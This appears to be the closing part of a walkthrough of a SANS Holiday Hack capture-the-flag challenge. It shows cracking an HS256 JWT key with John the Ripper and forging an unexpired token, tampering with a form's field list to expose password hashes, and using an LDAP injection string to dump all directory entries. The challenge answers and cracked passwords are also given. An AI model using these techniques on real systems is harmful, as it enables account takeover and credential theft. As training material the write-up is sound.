eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I

Yes! It looks like we got a token (that first null was us). Let's head over to jwt.io to see what it contains:


Alright! We definitely got what we were looking for. In case the image is hard to read, here are the contents of the token:

{
  "dept": "Engineering",
  "ou": "elf",
  "expires": "2017-08-16 12:00:47.248093+00:00",
  "uid": "alabaster.snowball"
}

Apparently Alabaster ended up receiving the password reset request, because we got his token. There's just one problem, though – it's expired! If we try to use this token, it won't work. But wait, we can tamper with it and get a new token that's not expired, right? Wrong. JSON Web Tokens include digital signatures (the blue part above) that are used to verify their authenticity. We need the same key that was used to sign the original message in order to forge a new one. If we try to guess what key was used (like where it says "secret" above), this is what we get:


No good. So how do we get the key? Fortunately, we know what type of encryption was used to generate the signature: HS256, which is shorthand for HMAC with SHA-256. Oh great Google, tell us, are there any tools out there that can crack HS256 encryption?

This article looks promising: Attacking JWT authentication. There's a section in there about cracking the key, and what's this? It mentions John the Ripper, which we know from experience can be quite efficient. Let's give that a try – it says first we need to convert the JWT into a format John will understand, and provides a link to a python script that will do that for us. After installing the required python library, we can convert the token very easily:

$ python jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9#33b6782370adad6b78486c1f83b9a2e95f7fe2b6991397a156423d874e24afa2

Great, we'll copy that output into a file named "converted-jwt.txt". Next, we need to install John the Ripper using the link provided. Apparently this version is known as "Jumbo John" because it includes support for more types of encryption than the standard version (which is what we need to crack JWT tokens). Once we get it installed, setting it to work is easy:

$ JohnTheRipper/run/john converted-jwt.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:15  3/3 0g/s 2273Kp/s 2273Kc/s 2273KC/s klsaced..knory9y
3lv3s            (?)
1g 0:00:02:13 DONE 3/3 (2018-01-02 22:28) 0.007490g/s 2393Kp/s 2393Kc/s 2393KC/s 3k3ys..18isa
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Wow! And just like that, we have the key: 3lv3s

Back to jwt.io to generate a new token. We'll put in the key first, then change the expiration year from 2017 to 2018. Here's the resultant token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.gr2b8plsmw_JCKbomOUR-E7jLiSMeQ-evyYjcxCPXco

Let's go see if it works! Back on the EDB login page, let's pull up the browser's developer tools and drop that token into local storage under the name "np-auth."


Fingers crossed! Hit the refresh button, and get ready for a happy dance....


Oh yeah, how good does that feel?! We're so close now we can almost taste it. It looks like we found the front end to the LDAP server. Let's try a simple search to make sure it actually works:


Yep, it sure does. We can get a decent amount of information just by choosing the right columns, but what about that other field we found in the LDIF file earlier? Is there some way we can trick the form into giving us userPassword as well?

Let's have a look at the source code of that HTML form. Here's the "select" tag that lets us choose which columns to show:

<select id="attributes" class="initialized">
	<option value="" disabled="" selected="">Choose your option</option>
	<option value="profilePath,gn,sn,mail">First,Last,Email</option>
	<option value="profilePath,gn,sn,mail,uid,department">First,Last,Email,Id,Dept</option>
	<option value="profilePath,gn,sn,mail,uid,department,telephoneNumber,description">First,Last,Email,Id,Dept,Phone,Info</option>
</select>

I wonder what will happen if we use the browser's developer tools to change the value of that last option tag? Maybe if we just change the value to "profilePath,gn,sn,mail,uid,department,telephoneNumber,description,userPassword" the server will send us the extra data!


Who would have guessed it could be so easy? Now, that password doesn't look like an actual password, but an MD5 hash of a password. It's pretty typical for websites to store hashes instead of plaintext passwords – that provides some (minimal) measure of protection in case of a breach. MD5 hashes can't be cracked by brute force in any reasonable amount of time, which makes them pretty robust in theory. Dictionary-based attacks, however, have proven to be quite effective against them in cases where the user has a password that isn't very hard to guess.

Fortunately for us, CrackStation provides an easy way to look up MD5 hashes in massive rainbow table. Does it recognize Alabaster's password?


No such luck. At this point, we could run it through John the Ripper and see if that comes up with anything, but before we go that route, let's make sure we haven't missed anything on the EDB search page. There is an "Account" menu at the top right we haven't looked at yet.

When we click that, we get three options: Profile, Santa Panel, and Logout. Very interesting! Profile pops up a box with the same information about Alabaster that shows in the search results. Santa Panel sounds very intriguing – choosing that, however, just results in an alert message saying "You must be a Claus to access this panel!" Hmm...perhaps there is a way we can get search results for humans in addition to elves and reindeer (remember the OUs we found in the LDIF?). Fortunately, Wunorse has one more hint for us:


That article, Understanding and Exploiting Web-based LDAP, might just be our golden ticket. After reading the injection techniques and fiddling with the search form a bit, we arrive at this little gem as a search term:

))(|(cn=

Simple, and yet extraordinarily effective. This basically circumvents the form's filter requiring us to enter something in the name field, causing the form to return all entries in the database. Combine that with our previous hack to make sure we get password hashes, and let's run that search!


That did it! Not only do we get every reindeer and every elf, but down at the bottom we have Mr. and Mrs. Claus. A little reformatting so we can see the rest of the information, and....


We just hit pay dirt! There's the password hash for the big man himself. Let's see what CrackStation has to say about that.


That's it – game, set, match. The key to the kingdom is "001cookielips001". Now to log in as Santa and check out that Santa Panel:




There we have it! It's the letter to Santa we were looking for. Now we can finally answer the last (technical) question, and the game is (practically) over.

*In case you were wondering, it is actually possible to generate a JWT token for Santa and log in to his account that way. The Santa Panel, however, remains out of reach until you crack the password. Sometimes double authentication pays!

Answer to question 8: The Wizard of Oz


Question 9

Which character is ultimately the villain causing the giant snowball problem. What is the villain's motive?

To answer this question, you need to fetch at least five of the seven pages of The Great Book and complete the final level of the North Pole and Beyond.

Knocking the bubble off the top of the peak in the last snowball game was rather challenging. Once that was accomplished, a conversation was unlocked with Glinda, the Good Witch, who explained the ending of the story.

Answer to question 9: Glinda the Good Witch – she wanted to start a war between Oz and the North Pole in order to war profiteer.


...and that's all, folks! Thanks for reading my walkthrough, and thanks to the good folks at SANS for hosting another fun challenge this year. Altogether, I put in somewhere between 50 and 60 hours working through all the games and questions, then writing up my solutions. I hope you enjoyed it as much as I did.

Oh, and kudos to the team for granting this fleeting moment of glory (until the next person completed the last challenge, anyway)!